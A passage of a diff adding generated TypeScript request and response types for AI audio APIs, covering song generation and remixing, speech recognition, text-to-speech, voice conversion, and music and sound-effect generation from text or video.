*/ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: FileB985Aafc +} + +/** + * @description Remix source audio from 10 to 480 seconds long. + * + * Vocal-only, accompaniment-only, and instrumental tracks are supported. + * @type object + */ +export type InputMurekaV95SongRemix = { + /** + * @description Audio ID returned by /files/upload with purpose='remix'. Provide exactly one of song_id or upload_audio_id. + */ + upload_audio_id?: string | null + /** + * @description Complete lyrics for the remixed song, up to 5,000 characters. + * @minLength 1 + * @maxLength 5000 + * @type string + */ + lyrics: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Control the remix's genre, mood, instrumentation, arrangement, and vocal gender with a prompt, up to 1,024 characters. + * @minLength 1 + * @maxLength 1024 + * @type string + */ + prompt: string + /** + * @description Generated song ID from song_id in a /generate/song response. Provide exactly one of song_id or upload_audio_id. + */ + song_id?: string | null +} + +export type LyricsWordD81E8553 = { + start?: number | null + end?: number | null + text?: string | null +} + +export type LyricsLineBcc10401 = { + words?: LyricsWordD81E8553[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection75B6FeecSectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection75B6FeecSectionTypeKey = + (typeof lyricsSection75B6FeecSectionType)[keyof typeof lyricsSection75B6FeecSectionType] + +export type LyricsSection75B6Feec = { + start?: number | null + end?: number | null + lines?: LyricsLineBcc10401[] | null + section_type?: LyricsSection75B6FeecSectionTypeKey | null +} + +export type File8D277Ee5 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV95SongRemix = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection75B6Feec[] | null + /** + * @description The generated audio file. + * @type object + */ + audio: File8D277Ee5 + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null +} + +/** + * @description Input for v9 GenerateInstrumental. + * @type object + */ +export type InputMurekaV9GenerateInstrumental = { + /** + * @description Instrumental ID returned by /files/upload with purpose='instrumental'. Provide exactly one of instrumental_id or prompt. + */ + instrumental_id?: string | null + /** + * @description Description of the desired instrumental. Provide exactly one of prompt or instrumental_id. + */ + prompt?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type LyricsWordF54B78D9 = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLineE6D1C52F = { + words?: LyricsWordF54B78D9[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection46Bbcc58SectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection46Bbcc58SectionTypeKey = + (typeof lyricsSection46Bbcc58SectionType)[keyof typeof lyricsSection46Bbcc58SectionType] + +export type LyricsSection46Bbcc58 = { + end?: number | null + start?: number | null + section_type?: LyricsSection46Bbcc58SectionTypeKey | null + lines?: LyricsLineE6D1C52F[] | null +} + +export type File4825Af23 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV9GenerateInstrumental = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection46Bbcc58[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: File4825Af23 +} + +export const inputMurekaV9GenerateSongGender = { + female: 'female', + male: 'male', +} as const + +export type InputMurekaV9GenerateSongGenderKey = + (typeof inputMurekaV9GenerateSongGender)[keyof typeof inputMurekaV9GenerateSongGender] + +export const inputMurekaV9GenerateSongStylesEnum = { + pop: 'pop', + rock: 'rock', + jazz: 'jazz', + 'r&b': 'r&b', + edm: 'edm', + ambient: 'ambient', + folk: 'folk', + latin: 'latin', + 'k-pop': 'k-pop', + 'j-pop': 'j-pop', + house: 'house', + gospel: 'gospel', + 'lo-fi': 'lo-fi', +} as const + +export type InputMurekaV9GenerateSongStylesEnumKey = + (typeof inputMurekaV9GenerateSongStylesEnum)[keyof typeof inputMurekaV9GenerateSongStylesEnum] + +/** + * @description Input for v9 GenerateSong. + * @type object + */ +export type InputMurekaV9GenerateSong = { + /** + * @description Preferred vocal gender for lyrics-to-song generation. An uploaded or cloned voice takes precedence. + */ + gender?: InputMurekaV9GenerateSongGenderKey | null + /** + * @description Voice ID returned by /voice/clone. + */ + vocal_id?: string | null + /** + * @description One or more musical genres for prompt-to-song generation. This cannot be used when lyrics is provided. + * @example ["pop","rock"] + */ + styles?: InputMurekaV9GenerateSongStylesEnumKey[] | null + /** + * @description Reference-music ID returned by /files/upload with purpose='reference'. + */ + reference_id?: string | null + /** + * @description Lyrics to sing, up to 5,000 characters. Provide this for lyrics-to-song generation; otherwise provide prompt for prompt-to-song generation. + */ + lyrics?: string | null + /** + * @description Describe the desired song, mood, instrumentation, and vocals. Required when lyrics is omitted, up to 2,000 characters. With lyrics, it acts as a music-style control and supports up to 1,024 characters. + * @example A bright summer love song with a catchy chorus + */ + prompt?: string | null + /** + * @description Melody ID returned by /files/upload with purpose='melody'. This cannot be combined with prompt, reference_id, or vocal_id. + */ + melody_id?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type LyricsWordB329Ed68 = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLine364B9F66 = { + words?: LyricsWordB329Ed68[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection8Beda2A5SectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection8Beda2A5SectionTypeKey = + (typeof lyricsSection8Beda2A5SectionType)[keyof typeof lyricsSection8Beda2A5SectionType] + +export type LyricsSection8Beda2A5 = { + end?: number | null + start?: number | null + section_type?: LyricsSection8Beda2A5SectionTypeKey | null + lines?: LyricsLine364B9F66[] | null +} + +export type File028C0Ec2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV9GenerateSong = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection8Beda2A5[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: File028C0Ec2 +} + +/** + * @description Input for v9 GenerateSoundtrack. + * @type object + */ +export type InputMurekaV9GenerateSoundtrack = { + /** + * @description Start time of the soundtrack audio in milliseconds. If only audio_start is specified, generation starts there and continues for the video duration, stopping at the end of the song if the remaining audio is shorter. The soundtrack audio segment must be at least 3 seconds long, and a 1-second fade-in is added at the beginning. + */ + audio_start?: number | null + /** + * @description Optional description of the desired soundtrack style and mood. + */ + prompt?: string | null + /** + * @description Image ID returned by /files/upload with purpose='soundtrack'. Provide exactly one of image_id or video_id. + */ + image_id?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description End time of the soundtrack audio in milliseconds. If both audio_start and audio_end are specified, generation uses those times. If audio_end exceeds the song duration, generation stops at the end of the song. The soundtrack audio segment must be at least 3 seconds long, and a 1-second fade-out is added at the end. + */ + audio_end?: number | null + /** + * @description Video ID returned by /files/upload with purpose='soundtrack'. Provide exactly one of image_id or video_id. + */ + video_id?: string | null +} + +export type LyricsWordBfe4162F = { + end?: number | null + text?: string | null + start?: number | null +} + +export type LyricsLine53Ae87A5 = { + words?: LyricsWordBfe4162F[] | null + text?: string | null + end?: number | null + start?: number | null +} + +export const lyricsSection295C71CaSectionType = { + intro: 'intro', + verse: 'verse', + 'pre-chorus': 'pre-chorus', + chorus: 'chorus', + bridge: 'bridge', + break: 'break', + outro: 'outro', +} as const + +export type LyricsSection295C71CaSectionTypeKey = + (typeof lyricsSection295C71CaSectionType)[keyof typeof lyricsSection295C71CaSectionType] + +export type LyricsSection295C71Ca = { + end?: number | null + start?: number | null + section_type?: LyricsSection295C71CaSectionTypeKey | null + lines?: LyricsLine53Ae87A5[] | null +} + +export type File51C9Cc31 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description A generated audio file and its reusable song identifier. + * @type object + */ +export type OutputMurekaV9GenerateSoundtrack = { + /** + * @description Timed lyric sections for the generated audio, when available. + */ + lyrics_sections?: LyricsSection295C71Ca[] | null + /** + * @description Duration of the generated audio in milliseconds, when available. + */ + duration?: number | null + /** + * @description Reusable identifier for this audio. Pass it to endpoints that accept song_id. + */ + song_id?: string | null + /** + * @description The generated audio file. + * @type object + */ + audio: File51C9Cc31 +} + +export const inputNvidiaNemotron3NanoOmniAudioReasoningModeEnum = { + think: 'think', + no_think: 'no_think', +} as const + +export type InputNvidiaNemotron3NanoOmniAudioReasoningModeEnumKey = + (typeof inputNvidiaNemotron3NanoOmniAudioReasoningModeEnum)[keyof typeof inputNvidiaNemotron3NanoOmniAudioReasoningModeEnum] + +export type InputNvidiaNemotron3NanoOmniAudio = { + /** + * @description Whether the model should emit an explicit reasoning trace. `no_think` returns a direct answer; `think` returns chain-of-thought followed by the final answer. + * @default 'no_think' + * @type string | undefined + */ + reasoning_mode?: InputNvidiaNemotron3NanoOmniAudioReasoningModeEnumKey + /** + * @description Nucleus sampling probability mass. + * @minimum 0 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + top_p?: number + /** + * @description Sampling temperature. Lower is more deterministic. + * @minimum 0 + * @maximum 2 + * @default 0.7 + * @type number | undefined + */ + temperature?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional system prompt to steer the model. Reasoning behavior is controlled by the separate `reasoning_mode` field. + * @example You are a concise enterprise assistant. + */ + system_prompt?: string | null + /** + * @description Maximum number of tokens to generate. + * @minimum 1 + * @maximum 20000 + * @default 1024 + * @type integer | undefined + */ + max_tokens?: number + /** + * @description Text prompt to send to the model. English only. + * @minLength 1 + * @example Summarize the key capabilities of a multimodal agent. + * @type string + */ + prompt: string + /** + * @description URL of the audio clip to reason about. wav or mp3, max 50 minutes. + * @example https://storage.googleapis.com/falserverless/example_inputs/nemotron-3-nano-omni/audio_in.mp3 + * @type string + */ + audio_url: string +} + +export type UsageInfo = { + /** + * @description Number of output tokens generated. + * @type integer + */ + output_tokens: number + /** + * @description Number of input tokens processed. + * @type integer + */ + input_tokens: number +} + +export type OutputNvidiaNemotron3NanoOmniAudio = { + /** + * @description Reason generation stopped. + * @default 'stop' + * @example stop + * @example length + * @type string | undefined + */ + finish_reason?: string + /** + * @description Generated text response. + * @example The image shows a golden retriever puppy sitting on a wooden floor. + * @type string + */ + output: string + /** + * @description Token usage for the request. + * @example {"output_tokens":87,"input_tokens":412} + * @type object + */ + usage: UsageInfo +} + +export const inputNvidiaNemotronAsrMultilingualAsrLanguageEnum = { + auto: 'auto', + 'en-US': 'en-US', + 'en-GB': 'en-GB', + 'es-US': 'es-US', + 'es-ES': 'es-ES', + 'de-DE': 'de-DE', + 'fr-FR': 'fr-FR', + 'fr-CA': 'fr-CA', + 'it-IT': 'it-IT', + 'ar-AR': 'ar-AR', + 'ja-JP': 'ja-JP', + 'ko-KR': 'ko-KR', + 'pt-BR': 'pt-BR', + 'pt-PT': 'pt-PT', + 'ru-RU': 'ru-RU', + 'hi-IN': 'hi-IN', + 'zh-CN': 'zh-CN', + 'vi-VN': 'vi-VN', + 'he-IL': 'he-IL', + 'nl-NL': 'nl-NL', + 'cs-CZ': 'cs-CZ', + 'da-DK': 'da-DK', + 'pl-PL': 'pl-PL', + 'nn-NO': 'nn-NO', + 'nb-NO': 'nb-NO', + 'sv-SE': 'sv-SE', + 'th-TH': 'th-TH', + 'tr-TR': 'tr-TR', + 'bg-BG': 'bg-BG', + 'el-GR': 'el-GR', + 'et-EE': 'et-EE', + 'fi-FI': 'fi-FI', + 'hr-HR': 'hr-HR', + 'hu-HU': 'hu-HU', + 'lt-LT': 'lt-LT', + 'lv-LV': 'lv-LV', + 'ro-RO': 'ro-RO', + 'sk-SK': 'sk-SK', + 'uk-UA': 'uk-UA', + 'mt-MT': 'mt-MT', + 'sl-SI': 'sl-SI', +} as const + +export type InputNvidiaNemotronAsrMultilingualAsrLanguageEnumKey = + (typeof inputNvidiaNemotronAsrMultilingualAsrLanguageEnum)[keyof typeof inputNvidiaNemotronAsrMultilingualAsrLanguageEnum] + +export const inputNvidiaNemotronAsrMultilingualAsrAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputNvidiaNemotronAsrMultilingualAsrAccelerationEnumKey = + (typeof inputNvidiaNemotronAsrMultilingualAsrAccelerationEnum)[keyof typeof inputNvidiaNemotronAsrMultilingualAsrAccelerationEnum] + +export type InputNvidiaNemotronAsrMultilingualAsr = { + /** + * @description URL of the audio file to transcribe. + * @example https://v3b.fal.media/files/b/0a9c95c6/qxxx5skDQl8fPqbkjpxBc_speech.mp3 + * @type string + */ + audio_url: string + /** + * @description Target language for transcription (language-ID prompt). 'auto' lets the model detect the language. + * @default 'auto' + * @type string | undefined + */ + language?: InputNvidiaNemotronAsrMultilingualAsrLanguageEnumKey + /** + * @description Controls the speed/accuracy trade-off. 'none' = best accuracy (1.12s chunks), 'regular' = balanced (0.56s chunks), 'high' = faster (0.32s chunks), 'full' = fastest (0.08s chunks). + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputNvidiaNemotronAsrMultilingualAsrAccelerationEnumKey +} + +export type OutputNvidiaNemotronAsrMultilingualAsr = { + /** + * @description The transcribed text from the audio. + * @example Actually, I'm second guessing myself a single coherent passage might be cleaner and more representative of real world speech performance, which is what benchmarking typically uses. I'll write an engaging flowing piece on something like a journey or a day in a tech forward city. That weaves in all the varied elements naturally, rather than splitting it into sections. I'm deciding to keep the targeted tricky sentences section after all. It'll directly test homophones and number heavy lines that are most prone to errors, so I'll include it as a concise, clearly marked addition at the end now. I'm drafting the full passage, starting with a detailed travel narrative that weaves in dates, times, currency, and specific details by the time we pulled into Waverley Station, my phone had buzzed forty seven times, mostly from doctor Amara Akon Reyes at Neurosynt Technologies fretting over our board presentation. We'd spent three weeks refining a transformer model with one point three billion parameters, and the improvements were stunning. Our word error rate plummeted from fourteen point two percent down to three point eight percent. There's something surreal about watching those number shift like that. They're not just metrics they're the payoff from countless late nights and too much coffee. + * @type string + */ + output: string + /** + * @description True if this is an intermediate result during streaming. + * @default false + * @type boolean | undefined + */ + partial?: boolean +} + +export const inputResembleAiChatterboxhdSpeechToSpeechTargetVoiceEnum = { + Aurora: 'Aurora', + Blade: 'Blade', + Britney: 'Britney', + Carl: 'Carl', + Cliff: 'Cliff', + Richard: 'Richard', + Rico: 'Rico', + Siobhan: 'Siobhan', + Vicky: 'Vicky', +} as const + +export type InputResembleAiChatterboxhdSpeechToSpeechTargetVoiceEnumKey = + (typeof inputResembleAiChatterboxhdSpeechToSpeechTargetVoiceEnum)[keyof typeof inputResembleAiChatterboxhdSpeechToSpeechTargetVoiceEnum] + +/** + * @description Input parameters for the speech-to-speech request. + * @type object + */ +export type InputResembleAiChatterboxhdSpeechToSpeech = { + /** + * @description If True, the generated audio will be upscaled to 48kHz. The generation of the audio will take longer, but the quality will be higher. If False, the generated audio will be 24kHz. + * @default false + * @type boolean | undefined + */ + high_quality_audio?: boolean + /** + * @description URL to the audio file which represents the voice of the output audio. If provided, this will override the target_voice setting. If neither target_voice nor target_voice_audio_url are provided, the default target voice will be used. + * @example https://v3.fal.media/files/tiger/0XODRhebRLiBdu8MqgZc5_tmpljqsylwu.wav + * @type string | undefined + */ + target_voice_audio_url?: string + /** + * @description URL to the source audio file to be voice-converted. + * @example https://storage.googleapis.com/chatterbox-demo-samples/samples/duff_stewie.wav + * @type string + */ + source_audio_url: string + /** + * @description The voice to use for the speech-to-speech request. If neither target_voice nor target_voice_audio_url are provided, a random target voice will be used. + * @type string | undefined + */ + target_voice?: InputResembleAiChatterboxhdSpeechToSpeechTargetVoiceEnumKey +} + +export type Audio74551Ca3 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + * @type integer | undefined + */ + file_size?: number + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + * @type string | undefined + */ + file_name?: string + /** + * @description The mime type of the file. + * @example image/png + * @type string | undefined + */ + content_type?: string + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description File data + * + * Format: `binary` + * @type string | undefined + */ + file_data?: Blob +} + +/** + * @description Output parameters for the speech-to-speech request. + * @type object + */ +export type OutputResembleAiChatterboxhdSpeechToSpeech = { + /** + * @description The generated voice-converted audio file. + * @example {"url":"https://v3.fal.media/files/elephant/Kym3zK7hFHjDuyz3tB3W9_tmptvowq60i.wav"} + * @type object + */ + audio: Audio74551Ca3 +} + +export const inputResembleAiChatterboxhdTextToSpeechVoiceEnum = { + Aurora: 'Aurora', + Blade: 'Blade', + Britney: 'Britney', + Carl: 'Carl', + Cliff: 'Cliff', + Richard: 'Richard', + Rico: 'Rico', + Siobhan: 'Siobhan', + Vicky: 'Vicky', +} as const + +export type InputResembleAiChatterboxhdTextToSpeechVoiceEnumKey = + (typeof inputResembleAiChatterboxhdTextToSpeechVoiceEnum)[keyof typeof inputResembleAiChatterboxhdTextToSpeechVoiceEnum] + +/** + * @description Input parameters for the TTS request. + * @type object + */ +export type InputResembleAiChatterboxhdTextToSpeech = { + /** + * @description Text to synthesize into speech. + * @default 'My name is Maximus Decimus Meridius, commander of the Armies of the North, General of the Felix Legions and loyal servant to the true emperor, Marcus Aurelius. Father to a murdered son, husband to a murdered wife. And I will have my vengeance, in this life or the next.' + * @type string | undefined + */ + text?: string + /** + * @description Controls emotion exaggeration. Range typically 0.25 to 2.0. + * @minimum 0.25 + * @maximum 2 + * @default 0.5 + * @type number | undefined + */ + exaggeration?: number + /** + * @description If True, the generated audio will be upscaled to 48kHz. The generation of the audio will take longer, but the quality will be higher. If False, the generated audio will be 24kHz. + * @default false + * @type boolean | undefined + */ + high_quality_audio?: boolean + /** + * @description The voice to use for the TTS request. If neither voice nor audio are provided, a random voice will be used. + * @type string | undefined + */ + voice?: InputResembleAiChatterboxhdTextToSpeechVoiceEnumKey + /** + * @description URL to the audio sample to use as a voice prompt for zero-shot TTS voice cloning. Providing a audio sample will override the voice setting. If neither voice nor audio_url are provided, a random voice will be used. + * @example https://storage.googleapis.com/chatterbox-demo-samples/prompts/male_rickmorty.mp3 + * @example https://storage.googleapis.com/chatterbox-demo-samples/prompts/male_old_movie.flac + * @type string | undefined + */ + audio_url?: string + /** + * @description Controls the randomness of generation. Range typically 0.05 to 5. + * @minimum 0.05 + * @maximum 5 + * @default 0.8 + * @type number | undefined + */ + temperature?: number + /** + * @description Useful to control the reproducibility of the generated audio. Assuming all other properties didn't change, a fixed seed should always generate the exact same audio file. Set to 0 for random seed. + * @minimum 0 + * @default 0 + * @type integer | undefined + */ + seed?: number + /** + * @description Classifier-free guidance scale (CFG) controls the conditioning factor. Range typically 0.2 to 1.0. For expressive or dramatic speech, try lower cfg values (e.g. ~0.3) and increase exaggeration to around 0.7 or higher. If the reference speaker has a fast speaking style, lowering cfg to around 0.3 can improve pacing. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg?: number +} + +export type Audio7Ce66C0E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + * @type integer | undefined + */ + file_size?: number + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + * @type string | undefined + */ + file_name?: string + /** + * @description The mime type of the file. + * @example image/png + * @type string | undefined + */ + content_type?: string + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description File data + * + * Format: `binary` + * @type string | undefined + */ + file_data?: Blob +} + +/** + * @description Output parameters for the TTS request. + * @type object + */ +export type OutputResembleAiChatterboxhdTextToSpeech = { + /** + * @description The generated audio file. + * @example {"url":"https://storage.googleapis.com/chatterbox-demo-samples/samples/gladiator_rick.wav"} + * @example {"url":"https://storage.googleapis.com/chatterbox-demo-samples/samples/gladiator_old_movie.wav"} + * @type object + */ + audio: Audio7Ce66C0E +} + +export type InputSoniloV11TextToMusic = { + /** + * @description Text prompt describing the music to generate. + * @example A blend of R&B warmth, soul depth, neo-soul texture, gospel spirit, pop clarity, and jazz sophistication. + * @type string + */ + prompt: string + /** + * @description How many distinct music tracks to generate. + * @minimum 1 + * @maximum 3 + * @default 1 + * @type integer | undefined + */ + num_samples?: number + /** + * @description Requested output duration in seconds (max 600). Also used for billing (one billable unit per second per sample, rounded up; each sample under 10s bills as 10s). + * @minimum 1 + * @maximum 600 + * @default 90 + * @type integer | undefined + */ + duration?: number +} + +export type Audio4D7Df9Be = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputSoniloV11TextToMusic = { + /** + * @description The first generated music track, for quick preview/playback. + * @example {"url":"https://fal.media/files/lion/SI-MFSBz0WtUMW4dAhhQs_jazz1.m4a","file_name":"jazz1.m4a","content_type":"audio/mp4","file_size":3363482} + * @type object + */ + audio: Audio4D7Df9Be + /** + * @description All generated music tracks (AAC/m4a), one per sample. + * @example [{"url":"https://fal.media/files/lion/SI-MFSBz0WtUMW4dAhhQs_jazz1.m4a","file_name":"jazz1.m4a","content_type":"audio/mp4","file_size":3363482}] + * @type array + */ + audios: Audio4D7Df9Be[] +} + +export const inputSoniloV11TextToSoundEffectsAudioFormatEnum = { + wav: 'wav', + mp3: 'mp3', + aac: 'aac', + flac: 'flac', +} as const + +export type InputSoniloV11TextToSoundEffectsAudioFormatEnumKey = + (typeof inputSoniloV11TextToSoundEffectsAudioFormatEnum)[keyof typeof inputSoniloV11TextToSoundEffectsAudioFormatEnum] + +/** + * @description sfx-v1.0 /text-to-audio schema: plain-language field help for the product + * Playground. Duration accepts fractional seconds; flash and seed are hidden. + * @type object + */ +export type InputSoniloV11TextToSoundEffects = { + /** + * @description How long the audio should be, in seconds (0.5 to 180). + * @minimum 0.5 + * @maximum 180 + * @default 8 + * @type number | undefined + */ + duration?: number + /** + * @description Describe the sound you want to create. + * @example Heavy rain on a tin roof with distant rolling thunder + * @type string + */ + prompt: string + /** + * @description Audio file format: aac (default), mp3, wav, or flac. + * @default 'aac' + * @type string | undefined + */ + audio_format?: InputSoniloV11TextToSoundEffectsAudioFormatEnumKey +} + +export type Audio9Ac57D09 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputSoniloV11TextToSoundEffects = { + /** + * @description All generated sounds, one per sample. + * @type array + */ + audios: Audio9Ac57D09[] + /** + * @description The generated sound, in your chosen audio format. + * @type object + */ + audio: Audio9Ac57D09 +} + +export type InputSoniloV11VideoToMusic = { + /** + * @description Turn it up to match the text prompt + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + prompt_influence?: number + /** + * @description Optional text prompt steering the musical style. If omitted, a prompt is generated automatically from the video. + */ + prompt?: string | null + /** + * @description Optional. Length (seconds) of the video segment to score. When set, scores a segment of this length starting at Start Offset (or from the beginning if Start Offset is unset). Defaults (None) to the rest of the video: the whole video when Start Offset is unset, or from Start Offset to the end when it is set. + */ + duration?: number | null + /** + * @description Public http(s) URL of the source video to score. + * @example https://v3b.fal.media/files/b/0a9ddd00/2QssaYyFxstvVlmIraSns_Sonilo_Demo_Original_1.mp4 + * @type string + */ + video_url: string + /** + * @description Optional. Start scoring from this offset (seconds) into the video. Requires Start Offset + Duration <= Video Duration. + */ + start_offset?: number | null + /** + * @description How many distinct music tracks to generate for the video. + * @minimum 1 + * @maximum 3 + * @default 1 + * @type integer | undefined + */ + num_samples?: number +} + +export type AudioA7Ce397E = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputSoniloV11VideoToMusic = { + /** + * @description The first generated music track, for quick preview/playback. + * @example {"url":"https://v3b.fal.media/files/b/0a9ddd01/p5KXdY9tTYJH4f-ZQnZJ__Sonilo_Demo_Original_1_gen.m4a","file_name":"Sonilo_Demo_Original_1_gen.m4a","content_type":"audio/mp4","file_size":1138270} + * @type object + */ + audio: AudioA7Ce397E + /** + * @description All generated music tracks (AAC/m4a), one per sample. + * @example [{"url":"https://v3b.fal.media/files/b/0a9ddd01/p5KXdY9tTYJH4f-ZQnZJ__Sonilo_Demo_Original_1_gen.m4a","file_name":"Sonilo_Demo_Original_1_gen.m4a","content_type":"audio/mp4","file_size":1138270}] + * @type array + */ + audios: AudioA7Ce397E[] +} + +export type SfxSegment = { + /** + * @description Segment start time in seconds (from video start). The FIRST segment's start must be 0. + * @minimum 0 + * @default 0 + * @type number | undefined + */ + start?: number + /** + * @description Segment end time in seconds. Must equal the next segment's start (contiguous; no gaps/overlaps); the last segment's end must be <= the video duration. + * @minimum 0 + * @default 0 + * @type number | undefined + */ + end?: number + /** + * @description SFX / foley description for this segment. + * @default '' + * @type string | undefined + */ + prompt?: string +} + +export const inputSoniloV11VideoToSoundEffectsAudioFormatEnum = { + wav: 'wav', + mp3: 'mp3', + aac: 'aac', + flac: 'flac', +} as const + +export type InputSoniloV11VideoToSoundEffectsAudioFormatEnumKey = + (typeof inputSoniloV11VideoToSoundEffectsAudioFormatEnum)[keyof typeof inputSoniloV11VideoToSoundEffectsAudioFormatEnum] + +/** + * @description sfx-v1.0 video schema (video-to-audio / video-to-video): plain-language + * field help for the product Playground. Prompt and segments are advanced; + * flash and seed are hidden. + * @type object + */ +export type InputSoniloV11VideoToSoundEffects = { + /** + * @description The video to add sound to (public URL, or upload a file). The generated audio matches the video's length. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_input.mp4 + * @type string + */ + video_url: string + /** + * @description Optional. Describe the kind of sound you want; it steers the generated audio for every scene. Leave empty to caption the video automatically. + */ + prompt?: string | null + /** + * @description Optional. Split the video into time ranges, each with its own sound description. Leave empty to split into scenes automatically. + */ + segments?: SfxSegment[] | null + /** + * @description Format of the returned audio file: aac (default), mp3, wav, or flac. (The video with sound is always AAC.) + * @default 'aac' + * @type string | undefined + */ + audio_format?: InputSoniloV11VideoToSoundEffectsAudioFormatEnumKey + /** + * @description Keep the original video's speech/vocals. When on, the source audio is separated (music source separation) and the isolated vocals are kept as recorded, with the generated sound mixed in at a level matched to the voice; the rest of the original soundtrack (music, ambience) is dropped. Applies to the returned audio and video. When off (default), the result carries only the generated sound. + * @default false + * @type boolean | undefined + */ + keep_speech_vocal?: boolean +} + +export type Audio788E145B = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type SfxSegmentMeta = { + /** + * @description Short display labels for the sounds in this segment; may be empty. + * @type array | undefined + */ + tags?: string[] + /** + * @description Why the segment was left silent, when it was. + */ + skip_reason?: string | null + /** + * @description Whether this segment was left silent. Always false on sfx-v1.0, which generates every segment. + * @default false + * @type boolean | undefined + */ + skipped?: boolean +} + +export type SfxOutputSegment = { + /** + * @description Position of the segment, in source video order. + * @type integer + 